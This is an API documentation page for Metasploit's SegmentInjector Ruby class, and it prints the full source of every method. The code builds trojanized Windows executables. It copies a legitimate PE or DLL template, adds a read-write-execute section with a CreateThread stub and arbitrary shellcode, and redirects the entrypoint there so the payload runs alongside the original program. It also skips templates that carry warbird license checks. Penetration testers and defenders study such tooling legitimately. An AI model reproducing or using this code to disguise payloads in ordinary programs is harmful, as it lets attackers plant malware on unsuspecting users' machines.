Class: Msf::Exe::SegmentInjector

Inherits:
Object
  • Object
show all
Defined in:
lib/msf/core/exe/segment_injector.rb

Direct Known Subclasses

SegmentAppender

Instance Attribute Summary collapse

Instance Method Summary collapse

Constructor Details

#initialize(opts = {}) ⇒ SegmentInjector

Returns a new instance of SegmentInjector.


15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# File 'lib/msf/core/exe/segment_injector.rb', line 15

def initialize(opts = {})
  @payload = opts[:payload]
  @template = opts[:template]
  @arch  = opts[:arch] || :x86
  @buffer_register = opts[:buffer_register]
  @secname = opts[:secname]
  x86_regs = %w{eax ecx edx ebx edi esi}
  x64_regs = %w{rax rcx rdx rbx rdi rsi} + (8..15).map{|n| "r#{n}" }

  @buffer_register ||= if @arch == :x86
                         "edx"
                       else
                         "rdx"
                       end

  if @arch == :x86 && !x86_regs.include?(@buffer_register.downcase)
    raise ArgumentError, ":buffer_register is not a real register"
  elsif @arch == :x64 && !x64_regs.include?(@buffer_register.downcase)
    raise ArgumentError, ":buffer_register is not a real register"
  end
end

Instance Attribute Details

#archObject

Returns the value of attribute arch


11
12
13
# File 'lib/msf/core/exe/segment_injector.rb', line 11

def arch
  @arch
end

#buffer_registerObject

Returns the value of attribute buffer_register


12
13
14
# File 'lib/msf/core/exe/segment_injector.rb', line 12

def buffer_register
  @buffer_register
end

#payloadObject

Returns the value of attribute payload


9
10
11
# File 'lib/msf/core/exe/segment_injector.rb', line 9

def payload
  @payload
end

#secnameObject

Returns the value of attribute secname


13
14
15
# File 'lib/msf/core/exe/segment_injector.rb', line 13

def secname
  @secname
end

#templateObject

Returns the value of attribute template


10
11
12
# File 'lib/msf/core/exe/segment_injector.rb', line 10

def template
  @template
end

Instance Method Details

#create_thread_stubObject


48
49
50
51
52
53
54
55
56
57
# File 'lib/msf/core/exe/segment_injector.rb', line 48

def create_thread_stub
  case @arch
  when :x86
    create_thread_stub_x86
  when :x64
    create_thread_stub_x64
  else
    raise "Incompatible architecture"
  end
end

#create_thread_stub_x64Object


59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
# File 'lib/msf/core/exe/segment_injector.rb', line 59

def create_thread_stub_x64
  <<-EOS
    push rbp
    mov rbp, rsp
    sub rsp, 38h
    and rsp, 0xfffffffffffffff0 ; Ensure RSP is 16 byte aligned

    mov rcx, hook_libname
    mov rax, iat_LoadLibraryA
    call [rax]

    mov rdx, hook_funcname
    mov rcx, rax
    mov rax, iat_GetProcAddress
    call [rax]

    xor ecx, ecx
    mov qword ptr [rsp+28h], rcx
    mov qword ptr [rsp+20h], rcx
    mov r9, rcx
    mov r8, thread_hook
    mov rdx, rcx
    call rax

    leave
    jmp entrypoint

    hook_libname db 'kernel32', 0
    hook_funcname db 'CreateThread', 0

    thread_hook:
    mov #{buffer_register}, shellcode
    shellcode:
  EOS
end

#create_thread_stub_x86Object


95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
# File 'lib/msf/core/exe/segment_injector.rb', line 95

def create_thread_stub_x86
  <<-EOS
    pushad
    push hook_libname
    call [iat_LoadLibraryA]
    push hook_funcname
    push eax
    call [iat_GetProcAddress]
    lea edx, [thread_hook]
    push 0
    push 0
    push 0
    push edx
    push 0
    push 0
    call eax

    popad
    jmp entrypoint

    hook_libname db 'kernel32', 0
    hook_funcname db 'CreateThread', 0

    thread_hook:
    lea #{buffer_register}, [shellcode]
    shellcode:
  EOS
end

#dll_prefix(pe) ⇒ String

Returns assembly code to place at the entrypoint. Will be empty for non-DLL executables.

Parameters:

  • pe (Metasm::PE)

Returns:

  • (String)

    assembly code to place at the entrypoint. Will be empty for non-DLL executables.


192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
# File 'lib/msf/core/exe/segment_injector.rb', line 192

def dll_prefix(pe)
  prefix = ''
  if pe.header.characteristics.include? "DLL"
    # if there is no entry point, just return after we bail or spawn shellcode
    if pe.optheader.entrypoint == 0
      prefix = "cmp [esp + 8], 1
          jz spawncode
entrypoint:
          xor eax, eax
          inc eax
          ret 0x0c
          spawncode:"
    else
      # there is an entry point, we'll need to go to it after we bail or spawn shellcode
      # if fdwReason != DLL_PROCESS_ATTACH, skip the shellcode, jump back to original DllMain
      prefix = "cmp [esp + 8], 1
          jnz entrypoint"
    end
  end

  prefix
end

#generate_peObject


151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
# File 'lib/msf/core/exe/segment_injector.rb', line 151

def generate_pe
  # Copy our Template into a new PE
  pe_orig = Metasm::PE.decode_file(template)
  if is_warbird?(pe_orig)
    raise RuntimeError, "The template to inject to appears to have license verification (warbird)"
  end
  pe = pe_orig.mini_copy

  # Copy the headers and exports
  pe.mz.encoded = pe_orig.encoded[0, pe_orig.coff_offset-4]
  pe.mz.encoded.export = pe_orig.encoded[0, 512].export.dup
  pe.header.time = pe_orig.header.time

  # Don't rebase if we can help it since Metasm doesn't do relocations well
  pe.optheader.dll_characts.delete("DYNAMIC_BASE")

  prefix = dll_prefix(pe)

  # Generate a new code section set to RWX with our payload in it
  s = Metasm::PE::Section.new
  s.name = '.text'
  s.encoded = payload_stub(prefix)
  s.characteristics = %w[MEM_READ MEM_WRITE MEM_EXECUTE]

  # Tell our section where the original entrypoint was
  if pe.optheader.entrypoint != 0
    s.encoded.fixup!('entrypoint' => pe.optheader.image_base + pe.optheader.entrypoint)
  end
  pe.sections << s
  pe.invalidate_header

  # Change the entrypoint to our new section
  pe.optheader.entrypoint = 'hook_entrypoint'
  pe.cpu = pe_orig.cpu

  pe.encode_string
end

#is_warbird?(pe) ⇒ Boolean

Returns:

  • (Boolean)

133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
# File 'lib/msf/core/exe/segment_injector.rb', line 133

def is_warbird?(pe)
  # The byte sequence is for the following code pattern:
  # .text:004136B4                 mov     eax, large fs:30h
  # .text:004136BA                 sub     ecx, edx
  # .text:004136BC                 sar     ecx, 1
  # .text:004136BE                 mov     eax, [eax+0Ch]
  # .text:004136C1                 add     eax, 0Ch
  pattern = "\x64\xA1\x30\x00\x00\x00\x2B\xCA\xD1\xF9\x8B\x40\x0C\x83\xC0\x0C"
  section = pe.sections.find { |s| s.name.to_s == '.text' }
  if section.nil?
    return false
  elsif section && section.encoded.pattern_scan(pattern).blank?
    return false
  end

  true
end

#payload_stub(prefix) ⇒ Object


124
125
126
127
128
129
130
131
# File 'lib/msf/core/exe/segment_injector.rb', line 124

def payload_stub(prefix)
  asm = "hook_entrypoint:\n#{prefix}\n"
  asm << create_thread_stub

  shellcode = Metasm::Shellcode.assemble(processor, asm)

  shellcode.encoded + @payload
end

#processorObject


37
38
39
40
41
42
43
44
45
46
# File 'lib/msf/core/exe/segment_injector.rb', line 37

def processor
  case @arch
  when :x86
    return Metasm::Ia32.new
  when :x64
    return Metasm::X86_64.new
  else
    raise "Incompatible architecture"
  end
end